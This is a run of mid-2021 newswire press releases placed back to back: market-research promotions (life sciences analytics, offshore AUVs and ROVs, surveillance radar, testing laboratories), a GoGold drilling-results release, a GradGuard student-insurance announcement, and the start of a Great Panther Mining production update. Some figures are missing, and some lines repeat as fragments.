in 2020 to over by 2028 at a steady CAGR from 2021 to 2028. Multiple renowned life science organizations have been implementing advanced analytics tools for better functioning of their sales and marketing sectors. This is expected to boost the growth of the market in the forecast period. By delivery model, the cloud sub-segment is expected to dominate the market and garner a revenue of $6,708.0 million by 2028. This growth is due to the constant rise in demand for cloud-based life science analytics software as it is extremely economical and also available for use in both small and large scale healthcare companies.

by 2028. This growth is due to the constant rise in demand for cloud-based life science analytics software as it is extremely economical and also available for use in both small and large scale healthcare companies. By end user, the pharmaceutical and biotechnology companies sub-segment is expected to gain the highest revenue of $6,457.5 million by 2028. The need to use analytical tools for a variety of applications such as drug utilization, resource management, and more is set to propel the growth of the segment.

Market Dynamics

Artificial Intelligence or AI is one of the most prominent forms of advanced technology that is being used in multiple sectors today including the life sciences analytics software. It holds significance due to its extensive use in the process of drug development process along with reducing the cost of healthcare. All these factors are contributing to the growth of the life sciences analytics software market.

The lack of skilled professionals along with the exorbitant pricing of the life science analytics software have been limiting the growth of the market. To add further, the presence of IT infrastructure is scarce in the low-income countries which is further expected to restrain the growth of the global life sciences analytics software market.

On the other hand, the utilization of AI for drug development purposes and for enhancing the productivity of pharmaceuticals is expected to help in propelling the life sciences analytics software markets growth rate. Additionally, by using AI, companies are able to reduce the workload on humans and also minimize any chances of human errors in the process, thus providing an opportunity of growth for the market.

Get 10% OFF on Customization of Life Science Analytics Software Market Report.

Top 10 Key Players in Life Science Analytics Software Market and their New Developments, and Strategies

The report also provides a detailed list of recognized market players whose contributions have helped the industry grow further. The key players are as listed below:

SAS Institute, Inc International Business Machines Corporation Oracle Corporation Accenture American Chemical Society TIBCO Software, Inc IQVIA Holdings, Inc Microsoft Veeva Systems Inc Aris Global

The report also provides an overview of many important aspects including financial performance of the key players, SWOT analysis, product portfolio, and latest strategic developments. - Inquire and Get Quick Access to Top Companies Development Strategies Summary Report [80 pages]

For instance, in January 2020, Accenture, a pioneer in consulting and services, entered into a multiyear partnership with Google Cloud to contribute to the life sciences industry platform known as INTIENT. This form of technology can be used by bio-pharma companies to gain information while also being able to collaborate with each other. The use of artificial intelligence has made the instant transfer of information about a patient's status simpler and easier using this platform.

COVID-19 Impact on the Global Life Sciences Analytics Software Market

The effect of the pandemic was felt all over the world as it led to closure of many countries due to lockdown guidelines. However, the life sciences analytics software market gained momentum in the pandemic period. The technology was introduced and used by governments, healthcare organizations, retail sector, and others to initiate research that can help find the quickest solution against the coronavirus.

Get Access to comprehensive analysis of the Impact of COVID-19 on Life Sciences Analytics Software Market

More about Life Sciences Analytics Software:

Life Sciences Data Analytics Software  A Key to Ensure Exceptional Health and Treatments

Strategic Partnerships and Product Launches to Fuel the Growth of the Global Life Science Analytics Software Market by 2028

Trending Reports in Healthcare IT Industry

About Research Dive

Research Dive is a market research firm based in Pune, India. Maintaining the integrity and authenticity of the services, the firm provides the services that are solely based on its exclusive data model, compelled by the 360-degree research methodology, which guarantees comprehensive and accurate analysis. With an unprecedented access to several paid data resources, team of expert researchers, and strict work ethic, the firm offers insights that are extremely precise and reliable. Scrutinizing relevant news releases, government publications, decades of trade data, and technical & white papers, Research dive deliver the required services to its clients well within the required timeframe. Its expertise is focused on examining niche markets, targeting its major driving factors, and spotting threatening hindrances. Complementarily, it also has a seamless collaboration with the major industry aficionado that further offers its research an edge.

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FACTS AT A GLANCE Edition: 6; Released: June 2021 Executive Pool: 429 Companies: 48 - Players covered include AtlasElektronikGmbh; Deep Ocean Engineering, Inc.; Deep Ocean Group; DOF Subsea AS; Fugro NV; General Dynamics Mission Systems, Inc.; Helix Energy Solutions Group; Houston Mechatronics Inc.; Kongsberg Maritime AS; Oceaneering International, Inc.; SAAB AB; Saipem SpA; Subsea 7 S.A.; Teledyne Technologies Incorporated and Others. Coverage: All major geographies and key segments Segments: Segment (ROV, AUV); Application (Oil & Gas, Defense, Scientific Research, Commercial, Other Applications) Geographies: World; USA; Canada; Japan; China; Europe; France; Germany; Italy; UK; Spain; Russia; Rest of Europe; Asia-Pacific; Latin America; Middle East; Africa.

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ABSTRACT-



Global Offshore AUV and ROV Market to Reach $7.2 Billion by 2026

Offshore Autonomous Underwater Vehicle (AUV) is an untethered, self-propelled, and unmanned underwater machine utilized to perform simple tasks without any human supervision. Offshore AUVs are utilized extensively for mapping seafloor by surveying the platforms or to distinguish the chemical, biological, or physical properties of the water. Remotely Operated Vehicles (ROVs) have become more important in the offshore sector of the oil and gas industry for subsea construction and drilling support to allow deep-water exploration and development projects throughout the world. From decommissioning projects to exploration drilling, ROVs are widely used in the offshore sector. End-users are increasingly adopting AUV and ROV as a result of the high utilization of fossil fuels. The ever-increasing need for hydrocarbons has prompted corporations to concentrate their efforts on offshore drilling to boost green energy. In recent years, the importance of AUVs in researching seafloors before the installation of subsea infrastructure has driven demand for AUVs. Incorporating technologies like sensor-based steering and intelligent control systems are also expected to contribute to market growth.

Amid the COVID-19 crisis, the global market for Offshore AUV and ROV estimated at US$3.3 Billion in the year 2020, is projected to reach a revised size of US$7.2 Billion by 2026, growing at a CAGR of 14.3% over the analysis period. ROV, one of the segments analyzed in the report, is projected to grow at a 13.6% CAGR to reach US$6 Billion by the end of the analysis period. After a thorough analysis of the business implications of the pandemic and its induced economic crisis, growth in the AUV segment is readjusted to a revised 16.4% CAGR for the next 7-year period. This segment currently accounts for a 25% share of the global Offshore AUV and ROV market. The rising use of ROVs in a variety of industries, including search & rescue, marine biology, military, oil and gas, submerged infrastructure, and aquaculture, as well as advancements in ROV technology, is anticipated to drive growth in the segment. The need for big AUVs for military and defense applications, as well as oil and gas exploration, is driving the expansion of the AUV market segment.

The U.S. Market is Estimated at $597.6 Million in 2021, While China is Forecast to Reach $522.3 Million by 2026

The Offshore AUV and ROV market in the U.S. is estimated at US$597.6 Million in the year 2021. The country currently accounts for a 16.7% share in the global market. China, the world's second largest economy, is forecast to reach an estimated market size of US$522.3 Million in the year 2026 trailing a CAGR of 13.7% through the analysis period. Among the other noteworthy geographic markets are Japan and Canada, each forecast to grow at 10.8% and 11.5% respectively over the analysis period. Within Europe, Germany is forecast to grow at approximately 11.3% CAGR while Rest of European market (as defined in the study) will reach US$605.1 Million by the end of the analysis period. The rising usage of ROV & AUV in the oil and gas industries has been instrumental in the growth of the offshore ROV and AUV market in the Middle East, the largest regional market. Another factor boosting the market in the area is the growing global demand for oil and gas-based goods. Presence of several oil-producing countries in the Middle East and Latin America is a key factor for large markets of offshore ROV and AUV in these regions. North America is another key market, due to growing number of oil & gas projects, particularly in the United States and Mexico. More

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DUBLIN, July 14, 2021 /PRNewswire/ -- The "Global Surveillance Radars - Market and Technology Forecast to 2028" report has been added to ResearchAndMarkets.com's offering

Surveillance radars are used to enhance perimeter security across both commercial as well as defense sectors. These radar systems can function across platforms including land, naval, airborne, and space. Surveillance Radars are a crucial part of border security operations carried out within the defense sector.

Most of the surveillance radars function within the S-Band frequency range. These systems are essentially employed for search and targeting operations. The expanding munition technology and jamming capabilities promote increased research within this sector.

The growth in modular technologies like electronic warfare and stealth capabilities aggrades the expansion of this market. This primarily because military forces are continually trying to combat systems that limit radar cross-section (RCS). Technical advancements like Doppler Shift and moving target radars are also expected to augment the growth of this sector positively.



The rising number of indigenous programs is one of the factors that accelerates the increase in market value for this sector. Increased local manufacturing of radar systems leads to direct, indirect as well as induced employment generation within the masses.

The positive multiplier effect hereafter accounts for growth in economic development and GDP contribution by the surveillance radar market. As of 2020, the Indian DoD launched the Uttam AESA radar. This system was developed by the Electronics & Radar Development Establishment (LRDE). The future applications of this technology are anticipated to be within the Indian Airforce for HAL Tejas and other fighter aircraft.

The system is a key feature in the structure of Tejas MK1A. Uttam AESA has completed roughly 100 flight hours on a hired aircraft. The technology has also attained nearly 25 hours on Tejas test platforms. The development of Uttam commenced in the year 2008. The technology was unveiled at Aero India 2009. Uttam is slated to be the successor for Israeli Elta radar. The radar EL/M-2032 is a hybrid PESA (passive electronically scanned array radar) that currently equips LCA Tejas. Some of the system specifications of this technology include-Identification friend or foe (IFF), electronic and communication support measures, C-band line-of-sight and Ku-band SATCOM datalinks, etc.

Consecutively, rising number of terrorist activities within airport acts as a limiting factor for this market. The growth in airport intrusions serves as a psychological fear for the passengers in civil airliners. The rising terrorism based activities endanger the end-users of commercial air-based transportation. Therefore, increased security measures, i.e. surveillance radars are being installed within these facilities. The applications associated with surveillance radars have been expanding. Countries like the U.S have been making use of surveillance balloons to monitor road-based traffic.

Owing to the pandemic, the defense budget allocation acts as a key challenge for the defense procurement associated with this market. Moreover, cities like Jaipur, stationed within India have postponed their airport aggradation program. The economic downturn associated with the current market scenario justifies the current dip in investment within airport modification programs. Surveillance Radars are vastly used as primary and secondary detection radars as a part of ASR (Airport Surveillance Radar). The technology is hereafter used as a means to control air traffic around the boundary of the airport.

Key Topics Covered:

1 Introduction

1.1 Objective

1.2 Market Introduction

1.3 Market Scope

1.4 Methodology

1.5 Scenario based Forecast

1.6 Who will benefit from this report?

1.6.1 Business Leaders & Business Developers

1.6.2 Surveillance Radar Professionals

1.6.3 Policy Makers, Budget Planners and Decision Makers

1.6.4 Civil Government Leaders & Planners

1.6.5 Financial analysts, Investors, Consultants

1.7 Language

2 Executive Summary

2.1 Surveillance Radar Market Trends and Insights

2.2 Top Five Major Findings

2.3 Major Conclusion

2.4 Important Tables and Graphs

3 Current Market Overview of the Surveillance Radar Market

3.1 Evolution of Radar

3.1.1 First Military Radars

3.1.2 Advances during World War-II

3.2 Introduction to Radar System

3.2.1 Types of Radar

3.2.2 Configurations employed by Radar systems

3.3 Airport Surveillance Radar

3.3.1 Primary Surveillance Radar (PSR)

3.3.2 Secondary Surveillance Radar (SSR)

3.3.3 Types of ASR

4 Current Market Trends Global Surveillance Radar Market

4.1 Broad Classification based on Radar systems

4.1.1 Detection and Search Radar

4.1.2 Targeting Radar

4.1.3 Instrumentation Radar

4.1.4 Fuzes and Triggers

4.1.5 Weather Sensing Radar System

4.1.6 Navigational Radars

4.1.7 Mapping Radars

4.2 Frequency-based classification of Radars

4.2.1 Very High Frequency (30-300 MHz)

4.2.2 L Band (1-2 GHz)

4.2.3 D-Band Radar

4.2.4 E and F-Band (S-Band Radar)

4.2.5 HADR (Hughes Air Defense Radar)

4.2.6 C- Band

4.2.7 TRM-S

4.2.8 X- Band

4.2.9 BOR-A 550

4.2.10 SMR (Surface Movement Radar)

4.2.11 DoD Radar Frequency

4.2.12 Search Radar

4.2.13 Surveillance

4.2.14 Fire Control/ Imaging

5 Technologies in the Global Surveillance Radar Market

5.1 AESA Radar

5.2 MIMO Radar (Multiple Input and Output Radar

5.2.1 Monostatic MIMO Radar

5.2.2 Bi-Static MIMO Radar

5.3 LPIR (Low Probability of Intercept) Radar

5.4 Quantum Radar

5.5 Electronic Warfare

5.6 Hypersonic Missile System

5.7 3D Printing in defense technologies

5.8 UAV (Unmanned Aerial Vehicles) Swarm

5.9 Big Data

5.10 IoT

6 Current Market Dynamics Global Surveillance Radar Market

6.1 Drivers

6.1.1 Increasing geopolitical conflicts

6.1.2 Growth in the military platform and weapon technology

6.1.3 Asset Securitization

6.1.4 Indigenous Programs

6.1.5 Urban Warfare

6.1.6 Growth in Airport Infrastructure

6.2 Restraints

6.2.1 Cost of manufacture

6.2.2 Operating Condition

6.3 Challenges

6.3.1 Defense Budget

6.3.2 Radar Efficiency

6.4 Porters Five Forces

6.5 PEST

7 Country Analysis

8 Global Surveillance Radar Market to 2028 by Region

9 Global Surveillance Radar Market to 2028 by Application

9.1 Market Introduction

9.2 Total Global Market by Application (By End Use) to 2028

9.2.1 Commercial

9.2.2 Defense

9.3 Total Global Market by Application (By Range) to 2028

9.3.1 Commercial

9.3.2 Defense

9.3.3 Space

10 Global Surveillance Radar Market to 2028 by Components

10.1 Market Introduction

11 Opportunity Analysis

11.1 By Region

11.2 By Application

11.3 By Components

11.4 By Range

12 Scenario Analysis

13 Corona Impact on Global Surveillance Radar Market

14 Company Profiles

ASELSAN

BAE Systems

General Dynamics

HENSOLDT GmbH

L3 Harris Technologies

Leonardo S.p.A

Lockheed Martin

Northrop Grumman

Raytheon

Saab AB

TERMA A/S

Thale Group



For more information about this report visit https://www.researchandmarkets.com/r/g6pdwj

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FACTS AT A GLANCE Edition: 18; Released: June 2021 Executive Pool: 2023 Companies: 111 - Players covered include Bureau Veritas Group; Bureau Veritas North America; CSA Group; ELCA Laboratories; Eurofins Scientific Group; FM Approvals; Foodtest Laboratories Ltd.; FoodChain ID Group Inc.; Geotechnical Engineering Ltd.; Intertek Group plc; MArieux Nutrisciences Corporation; MET Laboratories, Inc.; National Technical Systems, Inc.; NGC Testing Services; Retlif Testing Laboratories; SGS S.A.; SGS North America, Inc.; TAVRheinlandA; TAV SAD America, Inc. and Others. Coverage: All major geographies and key segments Segments: Segment (Testing Laboratories) Geographies: World; USA; Canada; Japan; China; Europe; France; Germany; Italy; UK; Spain; Russia; Rest of Europe; Asia-Pacific; Australia; India; South Korea; Rest of Asia-Pacific; Latin America; Argentina; Brazil; Mexico; Rest of Latin America; Middle East; Iran; Israel; Saudi Arabia; UAE; Rest of Middle East; Africa.

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ABSTRACT-



Global Testing Laboratories Market to Reach $109.3 Billion by 2026

Testing Laboratories industry comprises establishments, both independent and those operating as part of a corporate entity, offering a wide range of chemical, physical and analytical testing services. Growth in the global is set to be driven by globalization of trade, rising concerns over product quality and safety, implementation of new standards and stringent regulations, and the trend towards outsourcing of testing operations. Development of new and advanced testing technologies and processes and growing awareness among industry participants and consumers about product quality and safety, specifically with regard to food products that carry high health risks, are necessitating various industries to opt for testing services. Manufacturers also opt for testing services to protect their highly valuable brand assets, amidst rising consumer awareness and constant scrutiny. Other factors contributing to the growth in testing services are the escalating cost of product liability insurance, lack of comparable testing facilities within smaller facilities, and continued desire from large corporations to rely on independent testing facilities for securing independent results. Amid the COVID-19 crisis, the global market for Testing Laboratories estimated at US$75.7 Billion in the year 2020, is projected to reach a revised size of US$109.3 Billion by 2026, growing at a CAGR of 6.4% over the analysis period.

The U.S. Market is Estimated at $25.4 Billion in 2021, While China is Forecast to Reach $15.2 Billion by 2026

The Testing Laboratories market in the U.S. is estimated at US$25.4 Billion in the year 2021. The country currently accounts for a 32.17% share in the global market. China, the world's second largest economy, is forecast to reach an estimated market size of US$15.2 Billion in the year 2026 trailing a CAGR of 9% through the analysis period. Among the other noteworthy geographic markets are Japan and Canada, each forecast to grow at 3.8% and 6.3% respectively over the analysis period. Within Europe, Germany is forecast to grow at approximately 5.5% CAGR while Rest of European market (as defined in the study) will reach US$16.7 Billion by the end of the analysis period. Developed markets have been witnessing a steady rise in the number and size of testing laboratories. Industrialization and infrastructure development activities, and increased awareness about product safety and quality in countries such as China, India and Brazil are contributing to the increased demand for testing services from various industry verticals in Asia-Pacific region. More



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About Global Industry Analysts, Inc. & StrategyR

Global Industry Analysts, Inc., (www.strategyr.com) is a renowned market research publisher the world`s only influencer driven market research company. Proudly serving more than 42,000 clients from 36 countries, GIA is recognized for accurate forecasting of markets and industries for over 33 years.



CONTACTS:

Zak Ali

Director, Corporate Communications

Global Industry Analysts, Inc.

Phone: 1-408-528-9966

www.StrategyR.com

Email: [email protected]



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"The zone at Casados continues to show high grade intercepts included within wider zones of potentially bulk mineable tonnage," said Brad Langille, President and CEO. "We continue to advance Los Ricos North towards a significant initial resource."

Table 1: Drill Hole Intersections

Hole ID Area From To Length1 Au Ag AuEq2 AgEq2



(m) (m) (m) (g/t) (g/t) (g/t) (g/t) LRGCS-21-028 Casados 194.6 247.0 52.5 0.28 75.9 1.29 96.5

including 207.5 208.5 1.0 0.15 1,196.8 16.10 1,207.8 LRGCS-21-046 Casados 209.5 220.0 10.5 0.37 95.8 1.65 123.8 LRGCS-21-047 Casados 105.0 127.6 22.6 0.76 146.1 2.71 203.4

including 120.6 122.6 2.0 4.31 864.4 15.84 1,187.6 LRGCS-21-048 Casados 43.7 49.5 5.8 0.34 83.4 1.45 108.6 LRGCS-21-049 Casados 101.8 114.0 12.2 0.21 68.9 1.13 84.9

including 111.4 114.0 2.7 0.81 209.2 3.60 269.9 LRGCS-21-051 Casados 175.9 187.0 11.2 0.44 91.5 1.66 124.4

including 184.8 187.0 2.3 1.73 287.5 5.57 417.5 LRGCS-21-054 Casados 103.5 117.6 14.1 0.61 164.1 2.80 209.8

including 113.4 115.5 2.1 3.38 838.7 14.57 1,092.5

including 114.8 115.5 0.8 7.45 1,961.9 33.61 2,520.6 LRGCS-21-055 Casados 43.5 57.8 14.3 0.99 183.3 3.44 257.7

including 48.3 50.3 2.0 6.56 1,178.6 22.27 1,670.6 LRGCS-21-056 Casados 197.1 243.0 45.9 0.96 187.0 3.45 259.0

including 219.4 223.9 4.5 6.17 1,050.3 20.17 1,513.1

including 219.4 221.4 2.0 13.01 2,033.9 40.12 3,009.2

Including 220.4 221.4 1.0 19.87 2,877.1 58.23 4,367.3 LRGCS-21-057 Casados 69.6 77.6 8.0 0.29 98.9 1.61 120.4

Casados 195.3 250.9 55.6 0.23 63.0 1.07 80.5

including 233.3 234.3 1.0 2.09 778.7 12.47 935.4 LRGCS-21-058 Casados 71.6 72.5 0.9 0.34 135.0 2.14 160.8

1. Not true width 3. Holes LRGCS-21-050,52 and 53 are pending assays.





2. AqEq converted using a silver to gold ratio of 75:1 at recoveries of 100%.



Location Highlights

LRGCS-28 is located approximately 80m down dip below the last level of historical workings.

down dip below the last level of historical workings. LRGCS-47,55,56, 57 are at the eastern end of the historical workings and extend to the east.

LRGCS-56 is located about 20m down dip of the eastern end of the stopes with over 1,000 g/t Ag

down dip of the eastern end of the stopes with over 1,000 g/t Ag LRGCS-57 is located about 25m east past the end of the old stope and about 50m down dip of the old level with approximately 1,000 g/t grade

east past the end of the old stope and about down dip of the old level with approximately 1,000 g/t grade LRGCS-47 and 55 are located on the same section about 50m east past the end of the old stopes with over 1,000 g/t Ag grade

The Casados Veins strike nearly E-W, dips 45o to the north and is hosted in andesitic tuffs and is exposed on surface for about 400 metres along strike. In the 7 metres of old stope that is above the water level at the Casados mine, the vein shows as a zone of quartz stringers about a meter wide, but at other places it is more than 2 metres wide. A zone of silicification up to 50 metres wide envelopes the vein and this resistant outcrop forms a steep ridge along the strike of the vein, particularly on the north or hanging wall side.

Casados North

GoGold's geological mapping program has located a series of historical workings along NNW trending veins that splay off the main Casados Vein along a horsetail structure (see Figure 4 for a plan view map and Figure 5 for a sampling map).

A series of low sulphidation epithermal quartz veins have been mapped over an area of 800m x 400m extending on a NNW trend from the area of the Casados mine. The veins are exposed in a dozen historical shallow workings and chip sampling has returned high silver and gold values. Drill hole LRGCS-21-038 (see press release dated May 26, 2021), targeted to test below the Casados mine workings, intersected one of these new veins close to surface as shown on the sampling map.

Table 2: Drill Hole Locations

Hole ID Easting Northing Elevation Azimuth Dip Length LRGCS-21-028 583441 2337855 696 180 -70 329 LRGCS-21-046 583401 2337840 717 180 -72 324 LRGCS-21-047 583636 2337768 717 180 -50 270 LRGCS-21-048 583508 2337876 702 180 -77 389 LRGCS-21-049 583658 2337763 717 180 -45 230 LRGCS-21-050 583351 2337900 728 180 -60 348 LRGCS-21-051 583612 2337828 740 180 -45 191 LRGCS-21-052 583550 2337855 706 180 -70 315 LRGCS-21-053 583612 2337828 739 180 -50 319 LRGCS-21-054 583588 2337771 703 180 -45 221 LRGCS-21-055 583648 2337712 688 180 -50 177 LRGCS-21-056 583588 2337855 733 180 -45 381 LRGCS-21-057 583612 2337828 739 180 -60 313 LRGCS-21-058 583403 2337885 709 180 -72 387

VRIFY Slide Deck and 3D Presentation

VRIFY is a platform being used by companies to communicate with investors using 360 virtual tours of remote mining assets, 3D models and interactive presentations. VRIFY can be accessed by website and with the VRIFY iOS and Android apps.

Access the GoGold Company Profile on VRIFY at: https://vrify.com

The VRIFY Slide Deck and 3D Presentation for GoGold can be viewed at: https://vrify.com/explore/decks/9404 and on the Company's website at: www.gogoldresources.com.

Los Ricos District Exploration Projects

The Company's two exploration projects at its Los Ricos property are in Jalisco state, Mexico. The Los Ricos South Project began in March 2019 and an initial resource was announced on July 29, 2020 which indicated a Measured & Indicated Mineral Resource of 63.7 million ounces AgEq grading 199 g/t AgEq contained in 10.0 million tonnes, and an Inferred Resource of 19.9 million ounces AgEq grading 190 g/t AgEq contained in 3.3 million tonnes. An initial PEA on the project was announced on January 20, 2021 indicating an NPV 5% of US$295M.

The Los Ricos North Project was launched in March 2020 and includes drilling at the El Favor, La Trini, Casados and El Orito targets. During 2020, GoGold's exploration team identified over 100 targets on the Los Ricos North properties, demonstrating the significant exploration potential. The Company plans to drill 10 of these targets as part of its 2021 drilling program which is planned to exceed 100,000 metres of drilling and will be one of the largest in Mexico.

Procedure, Quality Assurance / Quality Control and Data Verification

The diamond drill core (HQ size) is geologically logged, photographed and marked for sampling. When the sample lengths are determined, the full core is sawn with a diamond blade core saw with one half of the core being bagged and tagged for assay. The remaining half portion is returned to the core trays for storage and/or for metallurgical test work.

The sealed and tagged sample bags are transported to the SGS Laboratory in Durango, Mexico. SGS crushes the samples and prepares 200-300 gram pulp samples with ninety percent passing Tyler 150 mesh (106m). The pulps are assayed for gold using a 50-gram charge by fire assay (Code GE_FAA515) and over limits greater than 10 grams per tonne are re-assayed using a gravimetric finish (Code GO_FAU333). Silver and multi-element analysis is completed using total digestion (Code 1F2 Total Digestion ICP) and Fire Assay Code GE_AAS42E). Over limits greater than 100 grams per tonne silver are re-assayed using a gravimetric finish (Code GO_FAG333).

Quality assurance and quality control ("QA/QC") procedures monitor the chain-of-custody of the samples and includes the systematic insertion and monitoring of appropriate reference materials (certified standards, blanks and duplicates) into the sample strings. The results of the assaying of the QA/QC material included in each batch are tracked to ensure the integrity of the assay data. All results stated in this announcement have passed GoGold's QA/QC protocols.

Mr. David Duncan, P. Geo. is the qualified person as defined by National Instrument 43-101 and is responsible for the technical information of this release.

About GoGold Resources

GoGold Resources (TSX: GGD) is a Canadian-based silver and gold producer focused on operating, developing, exploring and acquiring high quality projects in Mexico. The Company operates the Parral Tailings mine in the state of Chihuahua and has the Los Ricos South and Los Ricos North exploration projects in the state of Jalisco. Headquartered in Halifax, NS, GoGold is building a portfolio of low cost, high margin projects. For more information visit gogoldresources.com.

CAUTIONARY STATEMENT:

The securities described herein have not been, and will not be, registered under the United States Securities Act of 1933, as amended (the "U.S. Securities Act"), or any state securities laws, and may not be offered or sold within the United States or to, or for the benefit of, U.S. persons (as defined in Regulation S under the U.S. Securities Act) except in compliance with the registration requirements of the U.S. Securities Act and applicable state securities laws or pursuant to exemptions therefrom. This release does not constitute an offer to sell or a solicitation of an offer to buy of any of GoGold's securities in the United States.

This news release may contain "forward-looking information" as defined in applicable Canadian securities legislation. All statements other than statements of historical fact, included in this release, including, without limitation, statements regarding the Los Ricos South and North projects, and future plans and objectives of GoGold, including the intention to undertake further exploration at Los Ricos North, and the prospect of further discoveries there, constitute forward looking information that involve various risks and uncertainties. Forward-looking information is based on a number of factors and assumptions which have been used to develop such information but which may prove to be incorrect, including, but not limited to, assumptions in connection with the continuance of GoGold and its subsidiaries as a going concern, general economic and market conditions, mineral prices, the accuracy of mineral resource estimates, and the performance of the Parral project. There can be no assurance that such information will prove to be accurate and actual results and future events could differ materially from those anticipated in such forward-looking information.

Important factors that could cause actual results to differ materially from GoGold's expectations include exploration and development risks associated with GoGold's projects, the failure to establish estimated mineral resources or mineral reserves, volatility of commodity prices, variations of recovery rates, and global economic conditions. For additional information with respect to risk factors applicable to GoGold, reference should be made to GoGold's continuous disclosure materials filed from time to time with securities regulators, including, but not limited to, GoGold's Annual Information Form. The forward-looking information contained in this release is made as of the date of this release.

SOURCE GoGold Resources Inc.

Related Links

https://www.gogoldresources.com/


AUSTIN, Texas, July 14, 2021 /PRNewswire/ -- Interface Student Housing Conference --

GradGuard, the leading provider of property and casualty insurance programs to more than 400 colleges and universities, announced today at the 13th Annual Interface Student Housing Conference that its college renters and tuition insurance programs are now available to the off-campus and private housing industry.

According to Clery Act Reports since 2009, there are an average of 28,110 crime and safety incidents reported annually on college campuses. The risks are real in college.

"Covid-19 has highlighted the unique risks of college life and the need for comprehensive solutions that only GradGuard provides," said John Fees, co-founder of GradGuard.

Living away from home, whether on or off-campus, has its fair share of risk.

More than 28,000 crime and safety incidents are reported annually on average on college campuses, according to Clery Act Reports.

are reported annually on average on college campuses, according to Clery Act Reports. Nearly 2,000 fires are reported within on-campus student housing annually, according to Clery Act safety reports.

are reported within on-campus student housing annually, according to Clery Act safety reports. A nationwide study published by the Journal of Adolescent Health found that rates of moderate to severe anxiety and depression among U.S. college students rose substantially over the last few years -- from 18% and 23%, to 34% and 41%, respectively.

GradGuard's market-leading tuition insurance program protects more than just the cost of tuition. It may provide a refund for tuition, academic fees, and most importantly, on or off-campus housing costs. For example, if a student has to break an off-campus lease due to a covered medical issue, our tuition insurance program can reduce difficult collections issues.

GradGuard's tuition insurance program is also the only one in the nation that provides a refund to students who are forced to withdraw from school due to becoming ill with Covid-19 or other covered reasons, such as an injury or serious mental health condition.

College students face unique risks and GradGuard is designed for just that. Its renters insurance programs contain an exclusive student endorsement including theft coverage, a $100 deductible, no sublimits on electronics and worldwide property coverage.

Furthermore, the program can protect housing operators from unintentional damage caused by residents. GradGuard operates a technology platform that can seamlessly integrate with most leasing software providers and promote greater financial literacy among student residents.

GradGuard's insurance programs reduce risks and concerns that come with taking on added work such as collecting insurance payments or compliance issues.

"Today's announcement extends our college insurance programs beyond on-campus student housing to also become a valuable amenity for off-campus and private student housing companies," Fees added. "We're pleased that more student housing operators have embraced GradGuard's valuable protection programs for their residents."

GradGuard's renters insurance programs are available at no cost to housing companies through GradGuard.com or RentersProtectionPlan.com for multi-family operators.

More information:

Natalie Tarangioli

Director of Marketing and Communications

[email protected]

480-485-6138

SOURCE GradGuard
TSX: GPR | NYSE American: GPL

UCS pushback activities ahead of schedule and production ramping up with higher grade ore to be mined in upcoming quarters

VANCOUVER, BC, July 14, 2021 /PRNewswire/ - Great Panther Mining Limited (TSX: GPR) (NYSE-A: GPL) ("Great Panther" or the "Company"), a growing gold and silver producer focused on the Americas, reports that mining of ore has recommenced in the Urucum Central South ("UCS") open pit of the Company's Tucano Mine in Brazil.

"I am pleased to report that mining of ore has resumed ahead of schedule in the Urucum Central South pit as the conditions affecting the stability of the west wall have improved significantly," stated Robert Henderson, President and CEO. "The radar measurements of the west wall have shown a considerable reduction of movement compared to the earlier levels recorded over the past two months, and improved weather conditions are resulting in greater wall stability. Although the delay in safely accessing ore from UCS resulted in low production for the second quarter, production has begun ramping up in July and the higher grade ore not mined in the second quarter will be mined in upcoming quarters."

Operations have removed approximately 1.4 million tonnes of unstable weathered waste material from the upper west wall of the UCS pit and have improved water drainage in the upper oxide area of the deposit while pushback activities continue. A further 1.2 million tonnes of waste material is expected to be removed as part of the designed pushback. Strict safety protocols are being followed to ensure continued health and safety of workers, which includes radar monitoring for wall movement, prisms and drone surveys.

The Company also reports production results for the three months ended June 30, 2021, from its three wholly owned mines: Tucano in Brazil, and Topia and the Guanajuato Mine Complex ("GMC") in Mexico.

Second Quarter 2021 Production Highlights

Consolidated metal production of 27,722 gold equivalent ounces ("Au eq oz"), inclusive of 22,804 gold ounces ("Au oz") and 334,423 silver ounces ("Ag oz")

Total gold production at Tucano of 20,696 Au oz

Total silver equivalent production at Topia of 312,259 silver equivalent ounces ("Ag eq oz")

of 312,259 silver equivalent ounces ("Ag eq oz") Total silver equivalent production at the GMC of 284,883 Ag eq oz

UCS pushback activities ahead of schedule; resumption of mining of ore ramping up to full production

Tailings capacity at the GMC determined to be sufficient through December 2021

Consolidated Operating Results

Consolidated Operating Results Q2 2021 Q2 2020 Change Q2 2021 Q1 2021 Change Ore processed (tonnes) 929,430 847,174 10% 929,430 854,704 9% Gold eq production (oz) (1) 27,722 38,541 -28% 27,722 30,556 -9% Gold production (oz) 22,804 36,357 -37% 22,804 24,978 -9% Silver production (oz) 334,423 142,457 135% 334,423 360,070 -7%





(1) Gold equivalent ounces for 2021 were calculated using a 1:85 Au:Ag ratio, and ratios of 1:0.0005 and 1:0.0006 for the price/ounce of gold to price/pound of lead and zinc, respectively, consistent with the Company's guidance for the year. Gold equivalent ounces for 2020 were calculated using a 1:90 Au:Ag ratio, and ratios of 1:0.0006 and 1:0.0008 for the price/ounce of gold to price/pound of lead and zinc, respectively, consistent with the Company's guidance for the year.

The Company's operations are on track to meet previously announced consolidated production guidance for 2021 of 125,000 to 140,000 Au eq oz. Approximately 60% of annual guidance is expected in the second half of the year, considered the dry season in Northern Brazil, following the temporary halt of mining at UCS as well as higher stripping and lower production levels in the first half of 2021 as per the mine plan for Tucano.

Production guidance here and elsewhere in this news release is forward-looking information that should be read in conjunction with the Cautionary Statement on Forward-Looking Information section at the end of this news release. The Company may revise guidance during the year to reflect actual results to date and those anticipated for the remainder of the year.

The COVID-19 pandemic continues to affect the regions in which the Company operates. Strict health and safety protocols remain in place, and the Company is particularly focused on maintaining top-of-mind awareness about prevention practices within the organization and the communities that surround its operations. Vaccination programs are advancing, albeit slowly, and vigilance is of the utmost importance in order to support health authorities during this time.

Tucano

